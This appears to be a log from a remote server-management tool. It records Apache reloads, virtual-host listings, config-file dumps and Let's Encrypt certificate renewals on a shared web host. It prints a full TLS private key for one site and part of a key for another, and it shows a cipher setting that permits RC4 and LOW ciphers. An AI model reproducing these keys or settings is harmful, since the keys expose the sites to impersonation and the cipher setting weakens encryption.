    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	theyoungdesigners.us
    ServerAlias	www.theyoungdesigners.us
    #    ServerAlias	theyoungdesigners.com www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt
    DocumentRoot	/var/www/theyoungdesigners_www
    <Directory /var/www/theyoungdesigners_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/theyoungdesigners_www_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf)= /etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_www_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_www_us.conf= 1'
fi


2026-04-11 06:00:12: 

chmod 755 /tmp/pkp696407; /tmp/pkp696407; rm /tmp/pkp696407

2026-04-11 06:00:12: 




2026-04-11 06:00:12: 

PUT: /tmp/pkp739679

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-11 06:00:12: 

chmod 755 /tmp/pkp739679; /tmp/pkp739679; rm /tmp/pkp739679

2026-04-11 06:00:12: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-11 06:00:12: Establishing a connection
2026-04-11 06:00:13: 

PUT: /tmp/pkp643794

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-11 06:00:13: 

chmod 755 /tmp/pkp643794; /tmp/pkp643794; rm /tmp/pkp643794

2026-04-11 06:00:13: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:2)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:22)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-11 06:00:13: 

PUT: /tmp/pkp363669

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-11 06:00:13: 

chmod 755 /tmp/pkp363669; /tmp/pkp363669; rm /tmp/pkp363669

2026-04-11 06:00:13: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf	1781

<VirtualHost *:80>
    ServerName	theyoungdesigners.us
    ServerAlias	www.theyoungdesigners.us
    #    ServerAlias	theyoungdesigners.com www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/theyoungdesigners_www
    <Directory /var/www/theyoungdesigners_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	theyoungdesigners.us
    ServerAlias	www.theyoungdesigners.us
    #    ServerAlias	theyoungdesigners.com www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt
    DocumentRoot	/var/www/theyoungdesigners_www
    <Directory /var/www/theyoungdesigners_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-04-11 06:00:13: 

PUT: /tmp/pkp869128

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-11 06:00:13: 

chmod 755 /tmp/pkp869128; /tmp/pkp869128; rm /tmp/pkp869128

2026-04-11 06:00:13: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt	5397
35:57:e3:f4:5a:6a:ba:e3:e3:81:c0:19:fb:a1:34:2a

-----BEGIN CERTIFICATE-----
MIIFHDCCBASgAwIBAgISBsyp5DRghTzl+lBTTff/ElmnMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDExMDUwMTQxWhcNMjYwNzEwMDUwMTQwWjAfMR0wGwYDVQQD
ExR0aGV5b3VuZ2Rlc2lnbmVycy51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBALDLl7UiHSjwDbey2dWpniS+FymPJ7tSI/kW3jfWM8teQPMG99BxWEFZ
LDVv5zADALRnEf4mCe9aXfJrkrGSH/yZa4Q2k+4Z1WADpj486gwKI/66uNs38Og+
5cVfPRudlMDQpFU1sieZxzAHUHdWU8anVnYadIiICaYXwqBR/Grk6hA7BOn860UI
zomljaljKWnCll4LyLXYFwy5aHFrpRmErtXk9eEYFJCtgy1oWAUxwKrhJ7+Tl/x2
xiMpy0nqnLtaw73ABOK51hijOIOIY1uwDlgTxzTLaq1GZAmPRY4WVmV0sEUVJDIJ
fch51sc7FLNiQrwT67LZarcJIGj9Hx0CAwEAAaOCAjwwggI4MA4GA1UdDwEB/wQE
AwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQW
BBSkjqgYmyVPxwcL9ZF/zY1eM/OSZjAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jI
soQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMu
aS5sZW5jci5vcmcvMDkGA1UdEQQyMDCCFHRoZXlvdW5nZGVzaWduZXJzLnVzghh3
d3cudGhleW91bmdkZXNpZ25lcnMudXMwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
VR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy80MC5jcmwwggEM
BgorBgEEAdZ5AgQCBIH9BIH6APgAdgDCMX5XRRmjRe5/ON6ykEHrx8IhWiK/f9W1
rXaa2Q5SzQAAAZ17IFtqAAAEAwBHMEUCIB5DSQMWadi4AzPulVecL1wpWPrv1AAj
ZrFjR6YhTSLVAiEAjiH6mhus7PVSWMaiJRWm5gZ7BrrgQCByMJ2SkjLd9w4AfgAa
i51rD/6/gbR5OcbSMQqG1tEC1PBG4hgsneNfXiYl7wAAAZ17IFy1AAgAAAUACD4z
mgQDAEcwRQIgBqsC5TBhqUMUrXPQvrD+qioF7TtOPa6cEPtx5EMyhnICIQDeX2uP
0txiKz4S+fmPDlw02aOSUAiyoIWCmWUQcux28TANBgkqhkiG9w0BAQsFAAOCAQEA
lO252o+0pouZU91CxbZ/AU0iIJA/DMv2zQzG8lg2et799WksUzwa5k2tXucFfyCu
m37fDMVs/qm2H3gdQJAjlaohM5KjBbAw5oVXTt/7tf34WZCWAOl6/ZrimqtWkWRr
9qb65JguEfAJBCqhESBTFsOche+HZjbgC9S9h5lPcmX1YwjRk5oDVaN3XV0bHUn2
R0D/ID+cfP2WE36oKk7NDk9Jrrlkd1zI6ZesUJ70YJyklie8i/TXnlIigwIJLVfw
HVOnS3v/24EL1Wz6pEHDapYepuMmN3RcMZKhlWS2Ie2ceSb1L6hqOhsDJrygh7gv
VZeMqIXljsI0lkUMXtWpFg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCwy5e1Ih0o8A23
stnVqZ4kvhcpjye7UiP5Ft431jPLXkDzBvfQcVhBWSw1b+cwAwC0ZxH+JgnvWl3y
a5Kxkh/8mWuENpPuGdVgA6Y+POoMCiP+urjbN/DoPuXFXz0bnZTA0KRVNbInmccw
B1B3VlPGp1Z2GnSIiAmmF8KgUfxq5OoQOwTp/OtFCM6JpY2pYylpwpZeC8i12BcM
uWhxa6UZhK7V5PXhGBSQrYMtaFgFMcCq4Se/k5f8dsYjKctJ6py7WsO9wATiudYY
oziDiGNbsA5YE8c0y2qtRmQJj0WOFlZldLBFFSQyCX3IedbHOxSzYkK8E+uy2Wq3
CSBo/R8dAgMBAAECggEAJF1oQdd3wIMqCypEYMzADOY1vPRnc4IYiKSRxlHuuurS
+Loq8IrT4LMvIvm2x7siYrkdrBVWb0966gGC/bflEO/cu+f/Axd4uoRdpkkgyiOu
1jdBjUPjL146pF+r4dmGrqdr2eQO1lLs8/3ZKQbOehrS772O0UOMGogiHhhnD3RY
5r2QOXN4iNBemql7F4oboMWsq+inFPCSChA8P1IVgOqg4vDYtKxhcwWucOxkeJKa
KbjPxA3aUVcIx/lx7ByghCDRkIEG3gmkv+yyQCMDrG8YMxrhjL1qCiEABQ1xwVtl
6e9RTtuUYco4ODDzKXfqJqIEvhHVvMVuanj4hn2u4QKBgQDvkI2HNjOunW4aC8Ag
8vmhKpnr/F+LBC7/YQLoqvds3Glbm6S+EmrQxeFOm0wWnQt++KoB8bzsL1RcPatX
lt4L/LfeapHs0OQ8uj8t/yyBNIiipROMZWDBWOWf2gisWiuR0qakZMNS7ueyXkpF
/Zq2RzkgwiCcNRdZ5eAe2cWRIQKBgQC87KDWz7QZuuVfm3fJSFVVFoIW3B52BM8A
zaiLZX/7qIBr3Kou/siSOJcWxHyKY5EISSUVPLfxFxKtckXWduZTOpKz2RAl5zgL
4bGepK0XaKI8bqWcyTKnBXrtkzHT0RdPbW5ydf9OvcbtrjeI9Jnd8v8ak+qbXxqS
wOgANQMCfQKBgQDfo1Y7r0G39IdgETAekjSvW5GtVz/qCtHE3c9VXKT2HxzLxBSa
y56jntaiBx+UzK56rbAneIAhDF34bimR7ukCz7zmCR6IsMkgV827JsdpJp2XF/uT
yN/2HwLdozENlG+wBbJDLT2aIiRxwswbYpAXMY4HIrJGoNlXttzub+WbgQKBgFXP
SLKo/o2dRSeqzrqe3xtZsNa/PhquznL39nDyNjJQ85uKS8YytVks2PtfXY3h8XMI
/g3qWUXpC/O57pydvrnY5d9IXTxKDDvhVDLRa0kxnlbCjvhqrlYMeCxGaiBiXSsX
ck4M6FyUeDFmqxTKvMSB5Xrl6m6NwN0dP4MwkOBlAoGBAKsjYC5yJpKLLw1TTinq
lRhLNP40qzM/FXBBG1LH5vDT/aNu0UnUc78pHxeSZjvOLvXV2Z0tAs+/w7MdXAMv
nD4eaUXztkmSs2bGW0Tmp6dXTL0VzjRkmWNhgNsYYtq+Vpr+Ndb1bNd+cC26Xm0x
dSZNI5H2HnlunxnFnUb3z2AF
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-04-12 11:51:06: Establishing a connection
2026-04-13 06:00:02: Establishing a connection
2026-04-13 06:00:03: Establishing a connection
2026-04-13 06:00:03: 

PUT: /tmp/pkp439926

#!/bin/bash
if [ -d "/var/www/realchrist_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-13 06:00:03: 

chmod 755 /tmp/pkp439926; /tmp/pkp439926; rm /tmp/pkp439926

2026-04-13 06:00:03: 


1


2026-04-13 06:00:05: Establishing a connection
2026-04-13 06:00:05: 

PUT: /tmp/pkp442329

#!/bin/bash
mkdir -p "/var/www/realchrist_www/.well-known/acme-challenge/"
cd "/var/www/realchrist_www/.well-known/acme-challenge/"
cat > Dn62jDJLFwDi3eGJWSD-h5YHFsOq0aTy6hhklS54Pjk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Dn62jDJLFwDi3eGJWSD-h5YHFsOq0aTy6hhklS54Pjk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Dn62jDJLFwDi3eGJWSD-h5YHFsOq0aTy6hhklS54Pjk
cat > aFPROUk5j3mWb35VMJjQfj7Heb6OvRNQ8F6fYcRHVKI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
aFPROUk5j3mWb35VMJjQfj7Heb6OvRNQ8F6fYcRHVKI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 aFPROUk5j3mWb35VMJjQfj7Heb6OvRNQ8F6fYcRHVKI


2026-04-13 06:00:05: 

chmod 755 /tmp/pkp442329; /tmp/pkp442329; rm /tmp/pkp442329

2026-04-13 06:00:05: 




2026-04-13 06:00:18: Establishing a connection
2026-04-13 06:00:18: 

PUT: /tmp/pkp491530

#!/bin/bash
mkdir -p "/var/www/realchrist_www/.well-known/acme-challenge/"
cd "/var/www/realchrist_www/.well-known/acme-challenge/"
rm Dn62jDJLFwDi3eGJWSD-h5YHFsOq0aTy6hhklS54Pjk
rm aFPROUk5j3mWb35VMJjQfj7Heb6OvRNQ8F6fYcRHVKI


2026-04-13 06:00:18: 

chmod 755 /tmp/pkp491530; /tmp/pkp491530; rm /tmp/pkp491530

2026-04-13 06:00:18: 




2026-04-13 06:00:18: Establishing a connection
2026-04-13 06:00:18: 

PUT: /tmp/pkp407805

#!/bin/bash
temp_file=$(mktemp)
TARGET=8df29f43e5e79f1c31041f6ee4962ae9.crt

cat > $temp_file <<'endmsg'
73:89:b3:fc:08:b9:cd:5e:9c:a7:ae:f7:40:2a:26:c9

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBrYT48+PqJYNtkf/QAZligt0MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDEzMDUwMTQ2WhcNMjYwNzEyMDUwMTQ1WjAaMRgwFgYDVQQD
Ew9yZWFsY2hyaXN0LmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQC1YMJ0AcMtvYqUvKsGy4kgbFgAqg02jLpkFR3KxIqbPjnIMqjB+CqEB7gnVvn5
IP1q5xJYrDBqMkrZwZIvRadiPtawYKL8iwVt6jQ6ozzd4zWeMZF3XX1TP5sxYv9b
jjNYDpuhf44kGc4LVgcSdcm91h0UiCU7bCKpv9Xz+1MeflyMv7GYoyjgmcAJRFij
X0FL4kT38uAlGGOwEuSbGt4FUIQF+BmRGIQp62DrC7CEUMjjsvsM6t535vK6uVXI
lIxaQ+XCxn/t7NRdLCy+Usl+94O0JyNlaqpfqH2qYOGcbVhs1bQcflH1nFa7Y+vz
yDsYbfguxb7P6wFABNvsrE4JAgMBAAGjggIzMIICLzAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUrDwe
v6A+WWhxRACzErCXp+/dRQEwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKEDjvW
kjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmkubGVu
Y3Iub3JnLzAvBgNVHREEKDAmgg9yZWFsY2hyaXN0LmluZm+CE3d3dy5yZWFsY2hy
aXN0LmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAkoCKgIIYe
aHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMTcuY3JsMIIBDAYKKwYBBAHWeQIEAgSB
/QSB+gD4AHYAlE5Dh/rswe+B8xkkJqgYZQHH0184AgE/cmd9VTcuGdgAAAGdhW0o
yAAABAMARzBFAiA3o52Ap8zV78KTZEWVKyVV0HXhfpvhwBqkXEMgKeXSzQIhAMXW
pnMPx9cRGXG5FaWtUEXwTKluoo0KIVCH0tAtEuM4AH4AGoudaw/+v4G0eTnG0jEK
htbRAtTwRuIYLJ3jX14mJe8AAAGdhW0sJQAIAAAFAAi7xqsEAwBHMEUCIQCzb3T6
DtayJDM7Rxb2JvfkQRglPcWJxToRU8qPLpXcOgIgD5r97G5DWKygEfcXLz8FjZIE
oGbISkL36mXs7yzXEb4wDQYJKoZIhvcNAQELBQADggEBAC48Wo+S3NMKZJjlST4u
KZuX1N1lwbS6vrrqMNZm5VSQ2ds+3/rpMFv1dg7LXIg9J8IDJroyGFsFbXQT2EXr
qg5w4YhwH+gOnmyNlkt72fzuwRFu7qK0SpwUp6reAYI4JUf/nG4iZNmKmP6SJ1wg
/RAwR3HPtUOBy7mAj0FeSoX4eZ3S2n72DmLPVI6ODp8tjA5eOrJiX/8lUxrjHyCn
TQRO+SjvvbtabVyPJGfaNbM1tzh47qlEoxEQ+nylaceG4XVtqaPqxRA9fXWZaofh
VC9aHVOPMPkhuXn7whnxIq7zGqKIe7D/IYTUnjIIeTQMTUHMqd/zj8EynfzUWrqv
Ri0=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC1YMJ0AcMtvYqU
vKsGy4kgbFgAqg02jLpkFR3KxIqbPjnIMqjB+CqEB7gnVvn5IP1q5xJYrDBqMkrZ
wZIvRadiPtawYKL8iwVt6jQ6ozzd4zWeMZF3XX1TP5sxYv9bjjNYDpuhf44kGc4L
VgcSdcm91h0UiCU7bCKpv9Xz+1MeflyMv7GYoyjgmcAJRFijX0FL4kT38uAlGGOw
EuSbGt4FUIQF+BmRGIQp62DrC7CEUMjjsvsM6t535vK6uVXIlIxaQ+XCxn/t7NRd
